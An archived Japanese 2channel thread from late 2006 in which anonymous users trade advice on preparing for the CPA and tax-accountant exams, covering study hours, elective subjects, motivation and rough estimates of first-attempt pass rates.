１日１０時間ガチで集中できれば、半分くらいの確率で受かりますか？ 上智法です。 414 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 08:33:47 ID:???] 09年目標というのが変えることができなくて 勉強し続ける気合があるのであれば 2年コースの方がいい。 今から勉強するなら08年目標の1.5年も十分間に合う。 仕事しながらではキツイかもしれないが。 いまどんな仕事してるかわからんが たとえ働きながらとはいえ 2級に1発で受からないのであれば 会計士はあきらめて働き続けたほうが 幸せな人生になると思うよ。 415 名前：一般に公正妥当と認められた名無しさん [2006/11/30(木) 08:52:44 ID:rYRP4dRF] 岐阜市打越にある高E法博会計事務所。最近、労働基準監督署が入った。 ８年ほど前に、個人確定申告の3/15に帰宅途中の所員が交通事故死している。 所員の事故も絶えない。所員の安全や労働条件などおかまえなし。金のためここまでできる人間性に大いに疑問。 労働基準法違反はれっきとした犯罪。税理士が罰金刑を課せられたらどうなるか分かっているのか？ 東海・岐阜地区の税理士会では、よく知られていること。違法行為してると税理士の品位が疑われる。 416 名前：一般に公正妥当と認められた名無しさん [2006/11/30(木) 10:26:06 ID:tdAN1XdK] 数学が半端じゃなく苦手なんですが、民法選択はやめたほうがいいてすか？ 417 名前：411 mailto:sage [2006/11/30(木) 10:31:08 ID:???] 412 受験生なんてなんの生産性も社会的地位もない立場が嫌でたまらないから。 418 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 11:27:20 ID:???] >>416 ゼロからのスタートなら民法はやめた方がいい ボリュームが多いし、選択するのは自信ある奴ばかりだから競争が厳しい てかその前に、数字が半端じゃなく苦手なら会計士自体苦しいんじゃねえか・・・？ 419 名前：412 mailto:sage [2006/11/30(木) 14:37:09 ID:???] >>417 それなら１０時間勉強するしかないね。 420 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 15:05:50 ID:???] 民法は大学で民法をきっちり勉強している(した経験がある)か 旧試験で民法が得意だっベテのみの争いだから 中途半端な理由で選択するのはやめたほうがいいと思う。 同様の理由で経済も。 数学が苦手なら自動的に統計も消える。 というわけで経営にしておけ。 421 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 16:48:16 ID:???] 今大学の三回なんですがいまから１年半もしくは２年半で会計士を目指そうかと考えています。 会計に関する知識はまったくありません。 目指そうと思った理由は、この時期になってどういったところで働きたいか考えたときに これという希望業種は特定できないのですが、単純に会社の経営や財務関係に携わりたいと思ったのと しっかりした資格なら食うことぐらいはできるかと思ったからです。 簿記も全く知らないのですが >>414を参考にして今から簿記の２級に（２月）受かれば目指す、受からないのであれば適正がないと考え諦める という方針で会計士を目指すかどうか決めようと思うのですが、どうでしょうか？ ほかに適正のようなものを判断する方法などがあったら教えていただきたいです。 大学をどうするかは目指すか、目指さないかを決めてから考えようと思っています。 422 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 19:39:59 ID:???] >>421 おまえさんの人生だからとやかく言うつもりはないが、 あいまいな気持ちで試験勉強を始めたら後悔する可能性が高い。 資格試験の勉強はモチベーションが大切だけど そのモチベーションを保つのは将来絶対会計士になりたいという 強い気持ちである人が多い。 特に大学3年なら勉強をしている過程で周り友達が有名企業に内定をもらうことも あるだろう。かたや自分は受かるか分からない試験に臨んでいる。 今一度その選択でいいかどうか2級の勉強しながらでも考えてみては？ 適正については2級1発は目安にはなると思われる。 423 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 20:02:42 ID:???] ただ一発で受かるだけじゃダメだ ９０点以上だ 424 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 21:15:45 ID:???] >>422 >>423 レスありがとうございます。 とりあえず簿記二級は会計士を目指す、目指さないに関らず勉強を始めてみようと思います。 その中でどうするかをできるだけ早く決めたいと思います。 >特に大学3年なら勉強をしている過程で周り友達が有名企業に内定をもらうことも >あるだろう。かたや自分は受かるか分からない試験に臨んでいる。 これは確かに悩んだりする種になりそうです。 一年ほど病気で大学を休んでいたため、周りはもう内定もらったりしている人が多いので ただでさえ一年遅れているのに、という気持ちが現在でも少しあります。 確かに動機が弱いように自分でも感じてはいます。 少し質問が変わってしまいますが、今現在受験生、もしくは既に合格している方は どういった動機で会計士になろうと思い、目指したのでしょうか？ またどういった方法でモチベーションを維持してる、したのでしょうか？ よろしければお聞かせください。 425 名前：422 mailto:sage [2006/11/30(木) 21:44:11 ID:???] 688 名前： 一般に公正妥当と認められた名無しさん [sage] 投稿日： 2006/11/30(木) 21:34:44 ID:??? 　　俺、もしかしたら２次試験に合格するのが目標で 　　監査法人なんかそんなに興味なかったかも 　　と思う今日この頃・・・ 689 名前： 一般に公正妥当と認められた名無しさん [sage] 投稿日： 2006/11/30(木) 21:35:28 ID:??? 　　>>688 　　そういう人多いと思うよ。 　 　　まあ仕事してみれば結構はまるかもよ。 690 名前： 一般に公正妥当と認められた名無しさん [sage] 投稿日： 2006/11/30(木) 21:36:05 ID:??? 　　>>688 　　同感 691 名前： 一般に公正妥当と認められた名無しさん [sage] 投稿日： 2006/11/30(木) 21:38:22 ID:??? 　　>>688 　　俺も就職するのが嫌で非難所として試験勉強してた 　　これから毎朝６時におきて日経新聞読まなきゃと思うと鬱になる 692 名前： 一般に公正妥当と認められた名無しさん [sage] 投稿日： 2006/11/30(木) 21:39:46 ID:??? 　　正直言うと俺完全な安定志向で会計士の資格目指してたよ。 　　こんなモチべでもいいのかな？ 　　 　　バリバリ出世思考とか全然ない。 　　ぼちぼち仕事してまずまずの給料をもらって安定した生活を送れればいいと思ってる。 school5.2ch.net/test/read.cgi/exam/1164633671/l50 おれの意見ではないがこんな意見がある。参考になれば。 426 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/11/30(木) 21:55:24 ID:???] >>425 参考レスの引用ありがとうございます。 こういってはなんですが、やはり会計士は目指す動機が弱目の方が多いんでしょうか？？ 私は少し出世思考のようなものがあるような気もします。 会計監査事務だけをしたいと言うよりも経営、マネジメント、コンサルティングの方向に進みたいと思っており （もちろん会計事務や財務にもある程度の興味はありますが） その方向に進むに当たって何かしらの足がかり、または役に立つ資格になるのではないか というような気持ちもあります。 もちろん>>421で書いたような食いっぱぐれないのではないかという考えや どうしてもこの業種に！というものがないというのも理由ですが。 レス参考になりました。 他の方で自分はこういう動機で目指している、モチベーションを保っている、などあればお聞かせください。 427 名前：一般に公正妥当と認められた名無しさん [2006/12/01(金) 00:21:43 ID:Atz7SoDj] 合格率８％の試験において、１発合格に限れば、１，２％。 この１，２％って、いったいどんな人たちなんでしょうか？ 既に１級を持っていたとか、東大生とか、人生かけた元社会人とか。 428 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 00:26:28 ID:???] >>427 さおだけ屋が一発合格だよ ２０代で年収１億円突破できるだけの才覚の持ち主ってことだな 429 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 00:39:13 ID:???] おいらは2年勉強2発合格ですが、運がよければ1発も十分可能な試験 ですよ。ただ、個人的に思うことは短答と論文は別物なので、どっち にもそれなりに対応できる勉強が必要だね。短答受かっても論文全然 駄目な人もいるし、短答落ちでも論文の能力が高い人もいる。バランス が大事。 430 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 01:23:27 ID:???] >>427 高卒の人でも、一発で合格する人はいる。 431 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 10:11:32 ID:???] 427の数字の根拠ってなに？そこまで低いとは思えないけどな。 432 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 10:52:02 ID:???] 一発合格の確率ってなに？ 一発合格者／予備校の申込者　のこと？ 一発合格者／初受験の人数　のこと？ 前者なら1パーセントにも満たないだろ。 後者ならもう少し高い気がするが。 433 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 12:30:58 ID:???] 一発合格者／予備校の申込者　なら１％以下 一発合格者／初受験の人数　なら３％以下くらいじゃないかな 434 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 15:53:12 ID:???] 合格率が8.5%で、合格者の2割が初受験だっていってるんだから0.085 * 0.2 でしょ。 435 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 19:24:27 ID:???] てことは１．７％か 俺はその中に入ったわけだ 436 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 20:41:33 ID:???] 宇宙が誕生する確率 * 地球が誕生する確率 * 人類が誕生する確率 * 他の数億の精子を押しのけてオレ様が受精した確率 * 会計士に受かる確率 437 名前：一般に公正妥当と認められた名無しさん [2006/12/01(金) 22:36:28 ID:UEpSzfP/] つまり、一発合格なんて、１，７％。１００人受けたら２人は出ないわけだから。 一発合格者はある種の天才。 438 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/01(金) 23:32:24 ID:???] でもその出し方ってなんか変 例えば受験回数３回が合格者の２割で 受験回数５回が合格者の１割だとしたら 受験回数５回の合格率の方が低いから凄いってことになってしまう。 439 名前：一般に公正妥当と認められた名無しさん [2006/12/01(金) 23:56:51 ID:r8+NIMUV] >>438 受験回数をｎ（ｎ＝１、２、３･･･）とし、 全合格者に対するｎ回目受験の合格者の割合をｋ（ｎ）とする すると全ての整数ｎ（ｎ≧１）について、 【受験回数ｎ回で合格した人は、合格者全体という母集団で見ると『上位』何パーセントに位置するのかをｍ（ｎ）で表すとする。するとｍ（ｎ）＝1〜nΣｋ（ｎ）】 と言える。 シグマのところを簡単に言うと、 例えば2回目受験者は、上位、合格者全体の内2回目で受かった人の割合と１回目で受かった人の割合を足した数字分の地位にいる。 一回目の割合が2割、二回目が3割とすると、二回目受験の人は上位50パーセントの位置にいるということ。 それぞれのｍ（ｎ）に合格率をかけると、受験した人（短落までも含む母集団）全員で見たときに、 それぞれの回数における合格者が上位何パーセントに属するかが分かる。 440 名前：一般に公正妥当と認められた名無しさん [2006/12/01(金) 23:59:54 ID:r8+NIMUV] >>439補足 ｋ（１）＝０．２（２０パーセント） ｍ（１）＝０．２（２０パーセント） これらは合格者の中でどれだけ上位にいるかという優劣。 ｍ（１）×合格率０．０８５＝１．７ これは全受験者の中でどれだけ上位の集団化という数字。 441 名前：一般に公正妥当と認められた名無しさん [2006/12/02(土) 00:47:57 ID:oXwZPWiR] 合格率は８％ちょい。そのうち、１発合格者は１５％ほど。 つまり、 合格率：８％ １発合格率：１，７％ この現実を見せ付けられて、ファビョる奴も多いだろうな。 なんせ、９８，３％は初受験は不合格なわけだから。 ９８％以上の確率で初受験は不合格って凄いｗ 442 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/02(土) 02:46:07 ID:???] >>441 会計士講座に申し込んで短答模試までたどり着くのが40％って 講師が口をすべらせてたから実質は更に低い。 443 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/02(土) 10:04:49 ID:???] 1.7%しか合格しないって言うよりも、98.3%が不合格って言うほうが迫力あるね 444 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/02(土) 10:40:21 ID:???] 受験者数に占める一発合格者数の割合のデータなんてなんも意味ないじゃん。初めて受けるのが何人でそのうちどれだけ受かったか知りたいんだよな。高くないから予備校は出せないんだろうな。 445 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/02(土) 16:04:08 ID:???] べテになった。 初心に帰って受かるための勉強をする際に気をつける ポイントを教えてよ、短期合格者、ベテラン合格者さん。 446 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/02(土) 16:35:58 ID:???] 租税法の勉強をしまくれ どうせ回りは低レベルな争いだ ちょっとやれば偏差値は急上昇する 447 名前：一般に公正妥当と認められた名無しさん [2006/12/02(土) 17:25:35 ID:h2u/qifz] >>446 それは最悪な戦略。 あまりにも幅が広いので泥沼にはまる。 税理士などの極少数にとって租税法は守る科目だよ。 そういう勝負をかけたいのなら統計だろ。 448 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/02(土) 19:16:32 ID:???] 今年一発合格した俺にとって租税は攻めの科目だったな。 ベテに確実に点差をつけれる科目だった。 来年はシラネ 449 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/02(土) 23:06:13 ID:???] >>445 １．５年→短答落ち→上級→合格だった俺の方法 ちょっとやれば確実に合格点に達する科目で早めにアドバンテージを稼ぐ （俺の場合は管理会計と監査。ベテ化してからは常に上位だった） ↓ 余った時間を苦手科目基礎力向上に費やす、授業進度はシカト （俺の場合は簿記。トレーニングと簿記１級対策で基礎論点を何周もした） ↓ 苦手科目の総合問題にチャレンジ （あれ？簡単に解けるよ(・∀・)） 人それぞれ意見があるだろうけど、俺の場合は苦手科目の克服よりも先に得意科目を必殺の武器に仕上げた。 そのおかげで「あ、どうせ俺管理と監査は勉強やんなくても負けないもんね〜」と短答前でも余裕でいられた。 450 名前：445 mailto:sage [2006/12/03(日) 13:46:52 ID:???] おまいさんら、ありがとう・・・・涙 べテ化は449氏より激しいが頑張るぜ！ 来年は受験専念するんだ。そして、初心に返ってやるんだ。 つまりあれだ、 得意科目があれば気分的にも強いし勉強時間も少なくなってくる ⇒苦手科目も底上げしやすくなる、ってことでよろしいかな。 良い参考になるよ。ありがとう。 ほかに何かあったら素直に聞くから教えてくれ。 俺は初心にかえって勉強したいんだ。 451 名前：一般に公正妥当と認められた名無しさん [2006/12/03(日) 23:10:05 ID:SAtmF9jG] 監査論と財務諸表論と企業法、さらに租税法。 これらはそれぞれボリューム（要学習時間）はどれくらいの比になりますか？ また合格された方は実際にどれくらいの割合でそれぞれの強化に勉強時間をあてられていましたか？ よろしく御願いします。 452 名前：一般に公正妥当と認められた名無しさん [2006/12/03(日) 23:20:02 ID:Z+l38N1h] いくら質問スレだからってそんなこと聞いてちゃダメだよ 普通に勉強して一周した時点で自覚する問題だ 逆に分からない時点で合格までかなりかかる 453 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/03(日) 23:26:32 ID:???] >>450 お前さんの謙虚さが気に入った 俺の戯言でも聞いてくれるか まず初心に帰るなら、自分が会計士を志したときのことをじっくり思い出す そうすればモチベーションは急上昇する そしてこれを忘れないこと。なにか紙に書いて机の前に貼る、手帳に入れとくなどするとすぐ思い出せる。 たしかに>>449氏の戦略も1つの手であるが、よく言われるのは苦手を無くすこと。 オマイに得意科目があるかどうかは定かではないが、苦手科目(もっと言えば苦手項目)を 優先的につぶすのがいいと思う。 今年の論文の結果を見れば分かると思うが得点率52%で合格なんだから、全科目で平均ちょいを とれば合格する。ってことは平均を下回る科目が苦手だと考えればいいと思う。 まずは全科目平均越えを目標に 次に得意科目を伸ばす これで合格 ｶﾞﾝｶﾞﾚ 454 名前：一般に公正妥当と認められた名無しさん [2006/12/03(日) 23:46:59 ID:SAtmF9jG] >>452 なるほど、おっしゃるとおりですね。 自分はまだ予備校が始まる前で（０８目標の１・５年コース）、 簿記しかやっていないのです。 しかしあまりにも手持ち無沙汰なので、どれかの理論科目を先行的に自習し様かなと思ったのです。 その尺度として、将来時間がかかったりする科目をやっておこうかナとか思っています。 455 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/03(日) 23:54:00 ID:???] ０８目標なら今は理論を無視しておいてよい 復習は入門答練の前だけでよい どうせ今やっても忘れる とにかく簿記管理租税の計算に注力だ 456 名前：一般に公正妥当と認められた名無しさん [2006/12/03(日) 23:57:09 ID:SAtmF9jG] >>455 レスどうもです。 租税ですか、予備校のパンフレットなんかを見ると租税法は半年くらいしてから講義スタートするみたいなんですが、 やはり計算のほうは今から慣れていったほうがよいのでしょうか。 457 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/04(月) 01:03:46 ID:???] 今やっても忘れるのは確かだけど、忘れたらその都度覚え直していった方がいいんじゃないの？暗記は反復継続だし、試験が近くなってから初めて覚えるよりもそれまでに何度も繰り返してた方が強いと思うんだが。計算重視なのは当然だけどね。 458 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/04(月) 08:20:46 ID:???] 理論こそ反復が重要だと思う 459 名前：455 mailto:sage [2006/12/04(月) 22:08:07 ID:???] >>457-458 今年一発合格した者だが、理論の暗記反復は当然大事だけど ０８目標がこの時期から始めるのはあまりにも早すぎるし無駄が多いってこと。 試験までの日数に余裕があるのとないのでは集中力も違うので、自分では意識して なくても暗記するスピードが全然違う。 計算を早いうちにある程度まで仕上げてしまって、直前期に 理論の暗記に集中できる状態を作り上げることが大事だと思う。 入門生とベテは当然戦略が違うので、ベテには必ずしもあてはまらないけどさ。 460 名前：457 mailto:sage [2006/12/04(月) 23:58:29 ID:???] なるほど、参考になります。俺は08年目標で今の時期は簿記と管理しか授業ないからまだ計算しかやりようがないんだけどね。年明けにザイヒョウが始まるんでバランスに気を付けながら頑張ります。 461 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/05(火) 00:23:59 ID:???] 08目標の1．5年ってもう始まってんの？ 462 名前：455 mailto:sage [2006/12/05(火) 00:32:23 ID:???] 暇なので思いついたことを書くが、 俺も１．５年コースで最初は理論を全然やらないことに不安で、 講義が始まる前にテキストだけ先にもらって分からないなりに電車の中で読んだりしてた。 でも今思えばその行為は合格に０．０１％も貢献してなかったと思う。 理論科目に手をつけないのは怖いだろうが、本格的に始めるのは受験前年の１２月くらい からでも十分間に合う。 ただそれは計算が入門生で上位５％以内には確実に入るくらいのレベルが前提だ。 463 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/05(火) 00:38:48 ID:???] 455さんに質問なんだけど、計算科目を先に仕上げるってのは、いつぐらいを目標にしてた？ あと計算を仕上げた後も、まったく問題を解かなかったわけではないよね？ 464 名前：455 mailto:sage [2006/12/05(火) 00:55:17 ID:???] >>463 上の方で一発合格タッカー氏が書いてるけど、入門生が計算科目を年内に仕上げるってのは 不可能。何故なら年明けの答練でテキストに出てない論点がうようよ出てくるから。 俺が実際に計算で論文合格レベルの実力がついたのは短刀１ヶ月前くらいだと思う。 俺の計算科目の仕上がり具合は、２月の簿記２級ほぼ満点。６月の簿記１級８割。 ７月からは過年度答練をやりまくって、年内の答練の名前載せ率５割程度。 ただ租税は過年度答練がなかったからテキストオンリーだったけどね。 来年以降の租税は俺の時と対策が変わってくると思うので、租税とのバランスを 考慮したアドバイスはできない。 計算が合格レベルに達したと思った後は、簿記管理租税のうち２科目の１時間問題をそれぞれ １問解くくらいだったかな。朝一に目を覚ます意味もこめて。 465 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/05(火) 12:47:37 ID:???] 今年は計算か理論のどちらでより差がついたかといえば、 あきらかに計算で差がついていたようだ。 466 名前：445 mailto:sage [2006/12/05(火) 19:35:26 ID:???] >>453 ありがとう。短文だが感謝の意を込めてもう一度言う。 ありがとう。 もう一度、王道の勉強方法を実践追及していくよ！ 467 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/05(火) 19:41:01 ID:???] 王道じゃだめだろ、王道じゃ 468 名前：463 mailto:sage [2006/12/06(水) 00:07:52 ID:???] >>464 なるほど。全答練の頃だね。ありがとう。 469 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/06(水) 18:21:56 ID:???] 某T予備校の、08年目標2年コースのものです。 窓口に現金60万くらいを持ち込んで申し込んだ時に、事務員の方が 「2年コースは07年の短答試験までに、全科目の入門・基礎マスターが終わるから、 07年の短答突破を狙う事ができる」 なんて風に言っていましたが、勿論無理ですよね？ｗ 答練もしていないのに、入門、基礎マスターの知識だけで短答を突破できるわけが無いです。 しかしまあ、マークシートですし、運がよければ合格してしまうかもしれない。 さらに、雰囲気になれるためにも受けた方が良いのかなあなんて思うんですが、 合格者の皆さんはこのあたりはどうされていましたか？ 万が一にでも短答合格したら、現行制度では2年間短答が免除ですから、 来年死ぬ程有利ですよね、特に企業法とかの科目で。 470 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/06(水) 18:35:37 ID:???] そもそも短答はどのくらいの期間で合格に届く勉強範囲を網羅できるものなんですかね？ 471 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/06(水) 19:05:00 ID:???] 人によるとしか言いようが無い ふつうは1年半はかかると思うが 472 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/06(水) 19:51:47 ID:???] チャレンジ一年コースの奴はふつうじゃないのかｗ あ、普通じゃないね確かにｗ 473 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/07(木) 00:27:23 ID:???] 論文完全無視で短刀特化すれば１０ヶ月くらいで十分届く 474 名前：一般に公正妥当と認められた名無しさん [2006/12/09(土) 17:26:45 ID:VkMJUNcQ] アドバイスしてほすぃ 簿記が受からない 475 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/09(土) 17:38:04 ID:???] 範囲が終わるなら可能性はあるだろ。過去問回したりとどれだけ力をつけられるかは自分次第 476 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/09(土) 19:57:33 ID:???] >>474 入門？ヴェテ？ 477 名前：一般に公正妥当と認められた名無しさん [2006/12/09(土) 22:54:26 ID:5e7pGFVi] 会計士試験受験生です。 １年目、授業とアクセスで精一杯。自習は一切なし。短答不合格。 ２年目、授業と答練とアクセスプラス自習１週間で４時間くらい。短答合格 ３年目、答練１つも受けず。アクセスは受けた。授業をテープで早送りと自習 で１日４時間。論文落ち。 とにかく自習が出来ない。今年受けて思ったのは、理論は書く練習も必要。 計算は出来るようになるべき。計算は答練とアクセスを真剣に全て受けて 復習で出来るようになりますか。 自習が苦手で合格された方で、工夫してたこととかありますか。 478 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/09(土) 23:21:55 ID:???] >>477 最後の方がぐだぐだでよく分からんが、とりあえず答練全部受けろ。 計算は時間内に点数を効率よく取る練習をしろ。 理論は自習で書く練習をする必要は無い。とにかく読み込んで理解しろ。 来年落ちたら人生終わる覚悟で自習しろ。 479 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/10(日) 00:08:17 ID:???] おれは通信だったし答練なんて面倒で一回くらいしか受けたことなかったけど 合格した(旧試験時)。 でも３回受けて駄目だったなら、４時間とかなめてかかるのはやめたほうがいい。 480 名前：一般に公正妥当と認められた名無しさん [2006/12/10(日) 00:33:33 ID:NDwPpOYI] いろいろアドバイスありがとうございます。答練受ける、受けないは 人それぞれなんですね。 ４時間というのは、なめてるのではなく、毎日やるとなると、そのく らいしか出来なくて。もっとやらなきゃって常に思っているんですけど。 自力では勉強できない時点で、この試験に向いてないのかもしれません。 今年は答練に参加しまっくて、そこで間違えたところを、テキストに 戻って確認してという形で、自習時間を増やしていきたいと思っている のですが。 481 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/10(日) 00:34:48 ID:???] >>480 書き込み時間に３を揃えてる暇があったら自習しろ 482 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/10(日) 02:35:40 ID:???] >>477はそれしか勉強しないで短答受かってるのって割とすごい気がする 483 名前：一般に公正妥当と認められた名無しさん [2006/12/12(火) 20:28:28 ID:TViqSRMq] 法人税また落ちた… これで5回目だよ… 再来年30歳になっちまう… 誰か合格のコツを教えて！ 484 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/12(火) 20:45:24 ID:???] 理論暗記はしない 485 名前：おで mailto:ばかだから [2006/12/12(火) 22:59:48 ID:???] 給料日とボーナス日以外は楽しくない 486 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/13(水) 09:48:54 ID:???] >>483 君の為になる言葉をあげやう 無理なものは無理 487 名前：一般に公正妥当と認められた名無しさん [2006/12/17(日) 01:01:48 ID:yIHe8I6B] >>484 税理士試験は理屈より暗記優先。 暗記せずに理論はかけない。 無責任なこと言うな！ 488 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/12/19(火) 20:46:24 ID:???] 会計士試験合格者のかたで合格までの総勉強時間記録してたかたいます？どれくらいいきました？ 489 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/19(火) 20:57:41 ID:???] 合格者がこっそり教える税理士試験に一発合格するための答案作成テクニック 490 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/19(火) 20:58:33 ID:???] >>483 合格者がこっそり教える税理士試験に一発合格するための答案作成テクニック 491 名前：一般に公正妥当と認められた名無しさん [2006/12/19(火) 21:55:36 ID:0mQGuEzH] (#^ω^)ﾋﾟｷﾋﾟｷ 492 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/19(火) 22:19:49 ID:???] >>487 そんなんじゃ今の法人税は受からないよ いずれ他の税法もそうなるよ 493 名前：一般に公正妥当と認められた名無しさん [2006/12/19(火) 23:22:52 ID:sGn4jr9q] 会計士試験、トータル2200時間位と思う。 毎週50で一年強 494 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/19(火) 23:23:41 ID:???] そりゃすごい 俺とっくに8000時間過ぎてるわ 495 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/19(火) 23:37:08 ID:???] >>493　2000時間代で受かるのかなり優秀なかたですよね。 >>494　8000時間やった根性あるならいけると思います。頑張りましょう。 一般的には4000時間〜はかかるんですね。 496 名前：一般に公正妥当と認められた名無しさん [2006/12/19(火) 23:53:04 ID:sGn4jr9q] 一回でいけたのは幸運です。もし落ちてたら4400時間を越えてるはず。 年に一回しかない試験なので、時間で測るのは適切ではないと思います。 一年に3000時間近くできたらほぼ確実に受かりますが、三年で4000時間だとほぼ確実に受からないと思います。 497 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/12/20(水) 08:38:58 ID:???] 一年で3000時間ならかなりいるんじゃね？？それだけしても、受からないのがほとんどかと。

---

---

[ 新着レスの取得/表示 (agate) ] / [ 携帯版 ]

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef